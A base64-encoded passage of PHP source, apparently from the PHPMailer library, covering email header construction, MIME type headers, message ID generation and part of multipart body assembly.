CAgIGlmIChjb3VudCgkdGhpcy0+Y2MpID4gMCkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdDYycsICR0aGlzLT5jYyk7CiAgICAgICAgfQoKICAgICAgICAvLyBzZW5kbWFpbCBhbmQgbWFpbCgpIGV4dHJhY3QgQmNjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgICAgIGlmICgoCiAgICAgICAgICAgICAgICAkdGhpcy0+TWFpbGVyID09ICdzZW5kbWFpbCcgb3IgJHRoaXMtPk1haWxlciA9PSAncW1haWwnIG9yICR0aGlzLT5NYWlsZXIgPT0gJ21haWwnCiAgICAgICAgICAgICkKICAgICAgICAgICAgYW5kIGNvdW50KCR0aGlzLT5iY2MpID4gMAogICAgICAgICkgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdCY2MnLCAkdGhpcy0+YmNjKTsKICAgICAgICB9CgogICAgICAgIGlmIChjb3VudCgkdGhpcy0+UmVwbHlUbykgPiAwKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1JlcGx5LVRvJywgJHRoaXMtPlJlcGx5VG8pOwogICAgICAgIH0KCiAgICAgICAgLy8gbWFpbCgpIHNldHMgdGhlIHN1YmplY3QgaXRzZWxmCiAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgIT0gJ21haWwnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1N1YmplY3QnLCAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSk7CiAgICAgICAgfQoKICAgICAgICAvLyBPbmx5IGFsbG93IGEgY3VzdG9tIG1lc3NhZ2UgSUQgaWYgaXQgY29uZm9ybXMgdG8gUkZDIDUzMjIgc2VjdGlvbiAzLjYuNAogICAgICAgIC8vIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIyI3NlY3Rpb24tMy42LjQKICAgICAgICBpZiAoJycgIT0gJHRoaXMtPk1lc3NhZ2VJRCBhbmQgcHJlZ19tYXRjaCgnL148LipALio+JC8nLCAkdGhpcy0+TWVzc2FnZUlEKSkgewogICAgICAgICAgICAkdGhpcy0+bGFzdE1lc3NhZ2VJRCA9ICR0aGlzLT5NZXNzYWdlSUQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPmxhc3RNZXNzYWdlSUQgPSBzcHJpbnRmKCc8JXNAJXM+JywgJHRoaXMtPnVuaXF1ZWlkLCAkdGhpcy0+c2VydmVySG9zdG5hbWUoKSk7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ01lc3NhZ2UtSUQnLCAkdGhpcy0+bGFzdE1lc3NhZ2VJRCk7CiAgICAgICAgaWYgKCFpc19udWxsKCR0aGlzLT5Qcmlvcml0eSkpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnWC1Qcmlvcml0eScsICR0aGlzLT5Qcmlvcml0eSk7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+WE1haWxlciA9PSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKAogICAgICAgICAgICAgICAgJ1gtTWFpbGVyJywKICAgICAgICAgICAgICAgICdQSFBNYWlsZXIgJyAuICR0aGlzLT5WZXJzaW9uIC4gJyAoaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIpJwogICAgICAgICAgICApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRteVhtYWlsZXIgPSB0cmltKCR0aGlzLT5YTWFpbGVyKTsKICAgICAgICAgICAgaWYgKCRteVhtYWlsZXIpIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1gtTWFpbGVyJywgJG15WG1haWxlcik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAhPSAnJykgewogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdEaXNwb3NpdGlvbi1Ob3RpZmljYXRpb24tVG8nLCAnPCcgLiAkdGhpcy0+Q29uZmlybVJlYWRpbmdUbyAuICc+Jyk7CiAgICAgICAgfQoKICAgICAgICAvLyBBZGQgY3VzdG9tIGhlYWRlcnMKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Q3VzdG9tSGVhZGVyIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgKICAgICAgICAgICAgICAgIHRyaW0oJGhlYWRlclswXSksCiAgICAgICAgICAgICAgICAkdGhpcy0+ZW5jb2RlSGVhZGVyKHRyaW0oJGhlYWRlclsxXSkpCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnNpZ25fa2V5X2ZpbGUpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnTUlNRS1WZXJzaW9uJywgJzEuMCcpOwogICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5nZXRNYWlsTUlNRSgpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIG1lc3NhZ2UgTUlNRSB0eXBlIGhlYWRlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldE1haWxNSU1FKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgJGlzbXVsdGlwYXJ0ID0gdHJ1ZTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsxXSAuICciJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L21peGVkOycpOwogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdIC4gJyInKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhbHQnOgogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAnIicpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaGVzIGNhc2UgJ3BsYWluJzogYW5kIGNhc2UgJyc6CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgnQ29udGVudC1UeXBlOiAnIC4gJHRoaXMtPkNvbnRlbnRUeXBlIC4gJzsgY2hhcnNldD0nIC4gJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGlzbXVsdGlwYXJ0ID0gZmFsc2U7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkdGhpcy0+RW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgIC8vIFJGQyAyMDQ1IHNlY3Rpb24gNi40IHNheXMgbXVsdGlwYXJ0IE1JTUUgcGFydHMgbWF5IG9ubHkgdXNlIDdiaXQsIDhiaXQgb3IgYmluYXJ5IENURQogICAgICAgICAgICBpZiAoJGlzbXVsdGlwYXJ0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPkVuY29kaW5nID09ICc4Yml0JykgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAnOGJpdCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gVGhlIG9ubHkgcmVtYWluaW5nIGFsdGVybmF0aXZlcyBhcmUgcXVvdGVkLXByaW50YWJsZSBhbmQgYmFzZTY0LCB3aGljaCBhcmUgYm90aCA3Yml0IGNvbXBhdGlibGUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybnMgdGhlIHdob2xlIE1JTUUgbWVzc2FnZS4KICAgICAqIEluY2x1ZGVzIGNvbXBsZXRlIGhlYWRlcnMgYW5kIGJvZHkuCiAgICAgKiBPbmx5IHZhbGlkIHBvc3QgcHJlU2VuZCgpLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnByZVNlbmQoKQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTZW50TUlNRU1lc3NhZ2UoKQogICAgewogICAgICAgIHJldHVybiBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciAuICR0aGlzLT5tYWlsSGVhZGVyLCAiXG5cciIpIC4gc2VsZjo6Q1JMRiAuIHNlbGY6OkNSTEYgLiAkdGhpcy0+TUlNRUJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdW5pcXVlIElECiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2VuZXJhdGVJZCgpIHsKICAgICAgICByZXR1cm4gbWQ1KHVuaXFpZCh0aW1lKCkpKTsKICAgIH0KCiAgICAvKioKICAgICAqIEFzc2VtYmxlIHRoZSBtZXNzYWdlIGJvZHkuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgYXNzZW1ibGVkIG1lc3NhZ2UgYm9keQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQm9keSgpCiAgICB7CiAgICAgICAgJGJvZHkgPSAnJzsKICAgICAgICAvL0NyZWF0ZSB1bmlxdWUgSURzIGFuZCBwcmVzZXQgYm91bmRhcmllcwogICAgICAgICR0aGlzLT51bmlxdWVpZCA9ICR0aGlzLT5nZW5lcmF0ZUlkKCk7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzFdID0gJ2IxXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzJdID0gJ2IyXycgLiAkdGhpcy0+dW5pcXVlaWQ7CiAgICAgICAgJHRoaXMtPmJvdW5kYXJ5WzNdID0gJ2IzXycgLiAkdGhpcy0+dW5pcXVlaWQ7CgogICAgICAgIGlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKSAuICR0aGlzLT5MRTsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5zZXRXb3JkV3JhcCgpOwoKICAgICAgICAkYm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRib2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGJvZHkgcGFydCBvbmx5CiAgICAgICAgaWYgKCdiYXNlNjQnICE9ICR0aGlzLT5FbmNvZGluZyBhbmQgc2VsZjo6aGFzTGluZUxvbmdlclRoYW5NYXgoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSAncXVvdGVkLXByaW50YWJsZSc7CiAgICAgICAgfQoKICAgICAgICAkYWx0Qm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRhbHRCb2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmICgkYWx0Qm9keUVuY29kaW5nID09ICc4Yml0JyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkFsdEJvZHkpKSB7CiAgICAgICAgICAgICRhbHRCb2R5RW5jb2RpbmcgPSAnN2JpdCc7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYWx0Qm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGFsdCBib2R5IHBhcnQgb25seQogICAgICAgIGlmICgnYmFzZTY0JyAhPSAkYWx0Qm9keUVuY29kaW5nIGFuZCBzZWxmOjpoYXNMaW5lTG9uZ2VyVGhhbk1heCgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgICAgICAgJGFsdEJvZHlFbmNvZGluZyA9ICdxdW90ZWQtcHJpbnRhYmxlJzsKICAgICAgICB9CiAgICAgICAgLy9Vc2UgdGhpcyBhcyBhIHByZWFtYmxlIGluIGFsbCBtdWx0aXBhcnQgbWVzc2FnZSB0eXBlcwogICAgICAgICRtaW1lcHJlID0gIlRoaXMgaXMgYSBtdWx0aS1wYXJ0IG1lc3NhZ2UgaW4gTUlNRSBmb3JtYXQuIiAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICBzd2l0Y2ggKCR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgY2FzZSAnaW5saW5lJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAnJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgJ211bHRpcGFydC9yZWxhdGVkOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmF0dGFjaEFsbCgnaW5saW5lJywgJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkljYWwpKSB7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJycsICd0ZXh0L2NhbGVuZGFyOyBtZXRob2Q9UkVRVUVTVCcsICcnKTsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWx0X2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmVfYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5l